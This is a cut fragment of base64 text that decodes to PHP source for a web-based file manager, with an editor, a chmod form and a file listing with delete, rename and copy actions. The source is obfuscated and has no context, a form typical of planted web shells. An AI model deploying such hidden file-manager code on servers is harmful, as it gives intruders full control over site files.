Y2xhc3M9ImZhIGZhLWZsb3BweS1vIj48L2k+IFNhdmUKICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgfSBlbHNlIHsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9IlBsYWluIEVkaXRvciIgY2xhc3M9ImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeSIgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIKSkgPz4mYW1wO2VkaXQ9PD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpID8+Ij48aSBjbGFzcz0iZmEgZmEtdGV4dC1oZWlnaHQiPjwvaT4gPD9waHAgZWNobyBsbmcoJ05vcm1hbEVkaXRvcicpID8+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeSIgbmFtZT0iU2F2ZSIgZGF0YS11cmw9Ijw/cGhwIGVjaG8gZm1fZW5jKCRmaWxlX3VybCkgPz4iIG9uY2xpY2s9ImVkaXRfc2F2ZSh0aGlzLCdhY2UnKSI+PGkgY2xhc3M9ImZhIGZhLWZsb3BweS1vIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdTYXZlJykgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PgogICAgICAgICAgICAgICAgPD9waHAgfSA/PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgICAgICA8P3BocAogICAgICAgIGlmICgkaXNfdGV4dCAmJiAkaXNOb3JtYWxFZGl0b3IpIHsKICAgICAgICAgICAgZWNobyAnPHRleHRhcmVhIGNsYXNzPSJtdC0yIiBpZD0ibm9ybWFsLWVkaXRvciIgcm93cz0iMzMiIGNvbHM9IjEyMCIgc3R5bGU9IndpZHRoOiA5OS41JTsiPicgLiBodG1sc3BlY2lhbGNoYXJzKCRjb250ZW50KSAuICc8L3RleHRhcmVhPic7CiAgICAgICAgfSBlbHNlaWYgKCRpc190ZXh0KSB7CiAgICAgICAgICAgIGVjaG8gJzxkaXYgaWQ9ImVkaXRvciIgY29udGVudGVkaXRhYmxlPSJ0cnVlIj4nIC4gaHRtbHNwZWNpYWxjaGFycygkY29udGVudCkgLiAnPC9kaXY+JzsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBmbV9zZXRfbXNnKCdGSUxFIEVYVEVOU0lPTiBIQVMgTk9UIFNVUFBPUlRFRCcsICdlcnJvcicpOwogICAgICAgIH0KICAgICAgICA/PgogICAgPC9kaXY+CiAgICA8P3BocAogICAgZm1fc2hvd19mb290ZXIoKTsKICAgIGV4aXQ7Cn0KCi8vIGNobW9kIChub3QgZm9yIFdpbmRvd3MpCmlmIChpc3NldCgkX0dFVFsnY2htb2QnXSkgJiYgIUZNX1JFQURPTkxZICYmICFGTV9JU19XSU4pIHsKICAgICRmaWxlID0gJF9HRVRbJ2NobW9kJ107CiAgICAkZmlsZSA9IGZtX2NsZWFuX3BhdGgoJGZpbGUpOwogICAgJGZpbGUgPSBzdHJfcmVwbGFjZSgnLycsICcnLCAkZmlsZSk7CiAgICBpZiAoJGZpbGUgPT0gJycgfHwgKCFpc19maWxlKCRwYXRoIC4gJy8nIC4gJGZpbGUpICYmICFpc19kaXIoJHBhdGggLiAnLycgLiAkZmlsZSkpKSB7CiAgICAgICAgZm1fc2V0X21zZygnRmlsZSBub3QgZm91bmQnLCAnZXJyb3InKTsKICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKEZNX1BBVEgpKTsKICAgIH0KCiAgICBmbV9zaG93X2hlYWRlcigpOyAvLyBIRUFERVIKICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7IC8vIGN1cnJlbnQgcGF0aAoKICAgICRmaWxlX3VybCA9IEZNX1JPT1RfVVJMIC4gKEZNX1BBVEggIT0gJycgPyAnLycgLiBGTV9QQVRIIDogJycpIC4gJy8nIC4gJGZpbGU7CiAgICAkZmlsZV9wYXRoID0gJHBhdGggLiAnLycgLiAkZmlsZTsKCiAgICAkbW9kZSA9IGZpbGVwZXJtcygkcGF0aCAuICcvJyAuICRmaWxlKTsKCiAgICA/PgogICAgPGRpdiBjbGFzcz0icGF0aCI+CiAgICAgICAgPGRpdiBjbGFzcz0iY2FyZCBtYi0yIDw/cGhwIGVjaG8gZm1fZ2V0X3RoZW1lKCk7ID8+Ij4KICAgICAgICAgICAgPGg2IGNsYXNzPSJjYXJkLWhlYWRlciI+CiAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnQ2hhbmdlUGVybWlzc2lvbnMnKSA/PgogICAgICAgICAgICA8L2g2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWJvZHkiPgogICAgICAgICAgICAgICAgPHAgY2xhc3M9ImNhcmQtdGV4dCI+CiAgICAgICAgICAgICAgICAgICAgRnVsbCBwYXRoOiA8P3BocCBlY2hvICRmaWxlX3BhdGggPz48YnI+CiAgICAgICAgICAgICAgICA8L3A+CiAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwIiB2YWx1ZT0iPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz4iPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNobW9kIiB2YWx1ZT0iPD9waHAgZWNobyBmbV9lbmMoJGZpbGUpID8+Ij4KCiAgICAgICAgICAgICAgICAgICAgPHRhYmxlIGNsYXNzPSJ0YWJsZSBjb21wYWN0LXRhYmxlIDw/cGhwIGVjaG8gZm1fZ2V0X3RoZW1lKCk7ID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGI+PD9waHAgZWNobyBsbmcoJ093bmVyJykgPz48L2I+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48Yj48P3BocCBlY2hvIGxuZygnR3JvdXAnKSA/PjwvYj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxiPjw/cGhwIGVjaG8gbG5nKCdPdGhlcicpID8+PC9iPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0idGV4dC1hbGlnbjogcmlnaHQiPjxiPjw/cGhwIGVjaG8gbG5nKCdSZWFkJykgPz48L2I+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ1ciIgdmFsdWU9IjEiPD9waHAgZWNobyAoJG1vZGUgJiAwMDQwMCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PC9sYWJlbD48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImdyIiB2YWx1ZT0iMSI8P3BocCBlY2hvICgkbW9kZSAmIDAwMDQwKSA/ICcgY2hlY2tlZCcgOiAnJyA/Pj48L2xhYmVsPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ib3IiIHZhbHVlPSIxIjw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMDQpID8gJyBjaGVja2VkJyA6ICcnID8+PjwvbGFiZWw+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiByaWdodCI+PGI+PD9waHAgZWNobyBsbmcoJ1dyaXRlJykgPz48L2I+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ1dyIgdmFsdWU9IjEiPD9waHAgZWNobyAoJG1vZGUgJiAwMDIwMCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PC9sYWJlbD48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Imd3IiB2YWx1ZT0iMSI8P3BocCBlY2hvICgkbW9kZSAmIDAwMDIwKSA/ICcgY2hlY2tlZCcgOiAnJyA/Pj48L2xhYmVsPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ib3ciIHZhbHVlPSIxIjw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMDIpID8gJyBjaGVja2VkJyA6ICcnID8+PjwvbGFiZWw+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiByaWdodCI+PGI+PD9waHAgZWNobyBsbmcoJ0V4ZWN1dGUnKSA/PjwvYj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InV4IiB2YWx1ZT0iMSI8P3BocCBlY2hvICgkbW9kZSAmIDAwMTAwKSA/ICcgY2hlY2tlZCcgOiAnJyA/Pj48L2xhYmVsPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZ3giIHZhbHVlPSIxIjw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMTApID8gJyBjaGVja2VkJyA6ICcnID8+PjwvbGFiZWw+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJveCIgdmFsdWU9IjEiPD9waHAgZWNobyAoJG1vZGUgJiAwMDAwMSkgPyAnIGNoZWNrZWQnIDogJycgPz4+PC9sYWJlbD48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgIDwvdGFibGU+CgogICAgICAgICAgICAgICAgICAgIDxwPgogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tc3VjY2VzcyI+PGkgY2xhc3M9ImZhIGZhLWNoZWNrLWNpcmNsZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnQ2hhbmdlJykgPz48L2J1dHRvbj4gJm5ic3A7CiAgICAgICAgICAgICAgICAgICAgICAgIDxiPjxhIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+IiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkiPjxpIGNsYXNzPSJmYSBmYS10aW1lcy1jaXJjbGUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PC9hPjwvYj4KICAgICAgICAgICAgICAgICAgICA8L3A+CiAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+CiAgICA8P3BocAogICAgZm1fc2hvd19mb290ZXIoKTsKICAgIGV4aXQ7Cn0KCi8vLS0tIEZJTEVNQU5BR0VSIE1BSU4KZm1fc2hvd19oZWFkZXIoKTsgLy8gSEVBREVSCmZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7IC8vIGN1cnJlbnQgcGF0aAoKLy8gbWVzc2FnZXMKZm1fc2hvd19tZXNzYWdlKCk7CgokbnVtX2ZpbGVzID0gY291bnQoJGZpbGVzKTsKJG51bV9mb2xkZXJzID0gY291bnQoJGZvbGRlcnMpOwokYWxsX2ZpbGVzX3NpemUgPSAwOwokdGFibGVUaGVtZSA9IChGTV9USEVNRSA9PSAiZGFyayIpID8gInRleHQtd2hpdGUgYmctZGFyayB0YWJsZS1kYXJrIiA6ICJiZy13aGl0ZSI7Cj8+Cjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGNsYXNzPSJwdC0zIj4KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InAiIHZhbHVlPSI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PiI+CiAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJncm91cCIgdmFsdWU9IjEiPgogICAgPGRpdiBjbGFzcz0idGFibGUtcmVzcG9uc2l2ZSI+CiAgICAgICAgPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ib3JkZXJlZCB0YWJsZS1ob3ZlciB0YWJsZS1zbSA8P3BocCBlY2hvICR0YWJsZVRoZW1lOyA/PiIgaWQ9Im1haW4tdGFibGUiPgogICAgICAgICAgICA8dGhlYWQgY2xhc3M9InRoZWFkLXdoaXRlIj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+CiAgICAgICAgICAgICAgICAgICAgPHRoIHN0eWxlPSJ3aWR0aDozJSIgY2xhc3M9ImN1c3RvbS1jaGVja2JveC1oZWFkZXIiPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjdXN0b20tY29udHJvbCBjdXN0b20tY2hlY2tib3giPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImNoZWNrYm94IiBjbGFzcz0iY3VzdG9tLWNvbnRyb2wtaW5wdXQiIGlkPSJqcy1zZWxlY3QtYWxsLWl0ZW1zIiBvbmNsaWNrPSJjaGVja2JveF90b2dnbGUoKSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9ImN1c3RvbS1jb250cm9sLWxhYmVsIiBmb3I9ImpzLXNlbGVjdC1hbGwtaXRlbXMiPjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvdGg+PD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ05hbWUnKSA/PjwvdGg+CiAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ1NpemUnKSA/PjwvdGg+CiAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ01vZGlmaWVkJykgPz48L3RoPgogICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9JU19XSU4gJiYgISRoaWRlX0NvbHMpOiA/PgogICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnUGVybXMnKSA/PjwvdGg+CiAgICAgICAgICAgICAgICAgICAgPHRoPjw/cGhwIGVjaG8gbG5nKCdPd25lcicpID8+PC90aD48P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnQWN0aW9ucycpID8+PC90aD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90aGVhZD4KICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgLy8gbGluayB0byBwYXJlbnQgZm9sZGVyCiAgICAgICAgICAgIGlmICgkcGFyZW50ICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgPz4KICAgICAgICAgICAgICAgIDx0cj48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz4KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9Im5vc29ydCI+PC90ZD48P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImJvcmRlci0wIj48YSBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZSgkcGFyZW50KSA/PiI+PGkgY2xhc3M9ImZhIGZhLWNoZXZyb24tY2lyY2xlLWxlZnQgZ28tYmFjayI+PC9pPiAuLjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iYm9yZGVyLTAiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJib3JkZXItMCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImJvcmRlci0wIj48L3RkPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSB7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iYm9yZGVyLTAiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iYm9yZGVyLTAiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PgogICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGlpID0gMzM5OTsKICAgICAgICAgICAgZm9yZWFjaCAoJGZvbGRlcnMgYXMgJGYpIHsKICAgICAgICAgICAgICAgICRpc19saW5rID0gaXNfbGluaygkcGF0aCAuICcvJyAuICRmKTsKICAgICAgICAgICAgICAgICRpbWcgPSAkaXNfbGluayA/ICdpY29uLWxpbmtfZm9sZGVyJyA6ICdmYSBmYS1mb2xkZXItbyc7CiAgICAgICAgICAgICAgICAkbW9kaWZfcmF3ID0gZmlsZW10aW1lKCRwYXRoIC4gJy8nIC4gJGYpOwogICAgICAgICAgICAgICAgJG1vZGlmID0gZGF0ZShGTV9EQVRFVElNRV9GT1JNQVQsICRtb2RpZl9yYXcpOwogICAgICAgICAgICAgICAgaWYgKCRjYWxjX2ZvbGRlcikgewogICAgICAgICAgICAgICAgICAgICRmaWxlc2l6ZV9yYXcgPSBmbV9nZXRfZGlyZWN0b3J5c2l6ZSgkcGF0aCAuICcvJyAuICRmKTsKICAgICAgICAgICAgICAgICAgICAkZmlsZXNpemUgPSBmbV9nZXRfZmlsZXNpemUoJGZpbGVzaXplX3Jhdyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkZmlsZXNpemVfcmF3ID0gIiI7CiAgICAgICAgICAgICAgICAgICAgJGZpbGVzaXplID0gbG5nKCdGb2xkZXInKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRwZXJtcyA9IHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKCRwYXRoIC4gJy8nIC4gJGYpKSwgLTQpOwogICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdyZ2lkJykpIHsKICAgICAgICAgICAgICAgICAgICAkb3duZXIgPSBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoJHBhdGggLiAnLycgLiAkZikpOwogICAgICAgICAgICAgICAgICAgICRncm91cCA9IHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkcGF0aCAuICcvJyAuICRmKSk7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRvd25lciA9IGFycmF5KCduYW1lJyA9PiAnPycpOwogICAgICAgICAgICAgICAgICAgICRncm91cCA9IGFycmF5KCduYW1lJyA9PiAnPycpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgPz4KICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJjdXN0b20tY2hlY2tib3gtdGQiPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjdXN0b20tY29udHJvbCBjdXN0b20tY2hlY2tib3giPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImNoZWNrYm94IiBjbGFzcz0iY3VzdG9tLWNvbnRyb2wtaW5wdXQiIGlkPSI8P3BocCBlY2hvICRpaSA/PiIgbmFtZT0iZmlsZVtdIiB2YWx1ZT0iPD9waHAgZWNobyBmbV9lbmMoJGYpID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iY3VzdG9tLWNvbnRyb2wtbGFiZWwiIGZvcj0iPD9waHAgZWNobyAkaWkgPz4iPjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8L3RkPjw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgIDx0ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmlsZW5hbWUiPjxhIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCAuICcvJyAuICRmLCAnLycpKSA/PiI+PGkgY2xhc3M9Ijw/cGhwIGVjaG8gJGltZyA/PiI+PC9pPiA8P3BocCBlY2hvIGZtX2NvbnZlcnRfd2luKGZtX2VuYygkZikpID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+PD9waHAgZWNobygkaXNfbGluayA/ICcgJnJhcnI7IDxpPicgLiByZWFkbGluaygkcGF0aCAuICcvJyAuICRmKSAuICc8L2k+JyA6ICcnKSA/PjwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtc29ydD0iYS08P3BocCBlY2hvIHN0cl9wYWQoJGZpbGVzaXplX3JhdywgMTgsICIwIiwgU1RSX1BBRF9MRUZUKTs/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gJGZpbGVzaXplOyA/PgogICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtc29ydD0iYS08P3BocCBlY2hvICRtb2RpZl9yYXc7Pz4iPjw/cGhwIGVjaG8gJG1vZGlmID8+PC90ZD4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX0lTX1dJTiAmJiAhJGhpZGVfQ29scyk6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz48YSB0aXRsZT0iQ2hhbmdlIFBlcm1pc3Npb25zIiBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7Y2htb2Q9PD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+Ij48P3BocCBlY2hvICRwZXJtcyA/PjwvYT48P3BocCBlbHNlOiA/Pjw/cGhwIGVjaG8gJHBlcm1zID8+PD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBlY2hvICRvd25lclsnbmFtZSddIC4gJzonIC4gJGdyb3VwWyduYW1lJ10gPz48L3RkPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iaW5saW5lLWFjdGlvbnMiPjw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKT8+IiBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGVsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PiIgb25jbGljaz0icmV0dXJuIGNvbmZpcm0oJzw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKS4nICcubG5nKCdGb2xkZXInKS4nPyc7ID8+XG4gXG4gKCA8P3BocCBlY2hvIHVybGVuY29kZSgkZikgPz4gKScpOyI+IDxpIGNsYXNzPSJmYSBmYS10cmFzaC1vIiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnUmVuYW1lJyk/PiIgaHJlZj0iIyIgb25jbGljaz0icmVuYW1lKCc8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PicsICc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKCRmKSkgPz4nKTtyZXR1cm4gZmFsc2U7Ij48aSBjbGFzcz0iZmEgZmEtcGVuY2lsLXNxdWFyZS1vIiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnQ29weVRvJyk/Pi4uLiIgaHJlZj0iP3A9JmFtcDtjb3B5PTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCAuICcvJyAuICRmLCAnLycpKSA/PiI+PGkgY2xhc3M9ImZhIGZhLWZpbGVzLW8iIGFyaWEtaGlkZGVuPSJ0cnVlIj48L2k+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdEaXJlY3RMaW5rJyk/PiIgaHJlZj0iPD9waHAgZWNobyBmbV9lbmMoRk1fUk9PVF9VUkwgLiAoRk1fUEFUSCAhPSAnJyA/ICcvJyAuIEZNX1BBVEggOiAnJykgLiAnLycgLiAkZiAuICcvJykgPz4iIHRhcmdldD0iX2JsYW5rIj48aSBjbGFzcz0iZmEgZmEtbGluayIgYXJpYS1oaWRkZW49InRydWUiPjwvaT48L2E+CiAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZmx1c2goKTsKICAgICAgICAgICAgICAgICRpaSsrOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRpayA9IDYwNzA7CiAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikgewogICAgICAgICAgICAgICAgJGlzX2xpbmsgPSBpc19saW5rKCRwYXRoIC4gJy8nIC4gJGYpOwogICAgICAgICAgICAgICAgJGltZyA9ICRpc19saW5rID8gJ2ZhIGZhLWZpbGUtdGV4dC1vJyA6IGZtX2dldF9maWxlX2ljb25fY2xhc3MoJHBhdGggLiAnLycgLiAkZik7CiAgICAgICAgICAgICAgICAkbW9kaWZfcmF3ID0gZmlsZW10aW1lKCRwYXRoIC4gJy8nIC4gJGYpOwogICAgICAgICAgICAgICAgJG1vZGlmID0gZGF0ZShGTV9EQVRFVElNRV9GT1JNQVQsICRtb2RpZl9yYXcpOwogICAgICAgICAgICAgICAgJGZpbGVzaXplX3JhdyA9IGZtX2dldF9zaXplKCRwYXRoIC4gJy8nIC4gJGYpOwogICAgICAgICAgICAgICAgJGZpbGVzaXplID0gZm1fZ2V0X2ZpbGVzaXplKCRmaWxlc2l6ZV9yYXcpOwogICAgICAgICAgICAgICAgJGZpbGVsaW5rID0gJz9wPScgLiB1cmxlbmNvZGUoRk1fUEFUSCkgLiAnJmFtcDt2aWV3PScgLiB1cmxlbmNvZGUoJGYpOwogICAgICAgICAgICAgICAgJGFsbF9maWxlc19zaXplICs9ICRmaWxlc2l6ZV9yYXc7CiAgICAgICAgICAgICAgICAkcGVybXMgPSBzdWJzdHIoZGVjb2N0KGZpbGVwZXJtcygkcGF0aCAuICcvJyAuICRmKSksIC00KTsKICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKSB7CiAgICAgICAgICAgICAgICAgICAgJG93bmVyID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRwYXRoIC4gJy8nIC4gJGYpKTsKICAgICAgICAgICAgICAgICAgICAkZ3JvdXAgPSBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoJHBhdGggLiAnLycgLiAkZikpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkb3duZXIgPSBhcnJheSgnbmFtZSc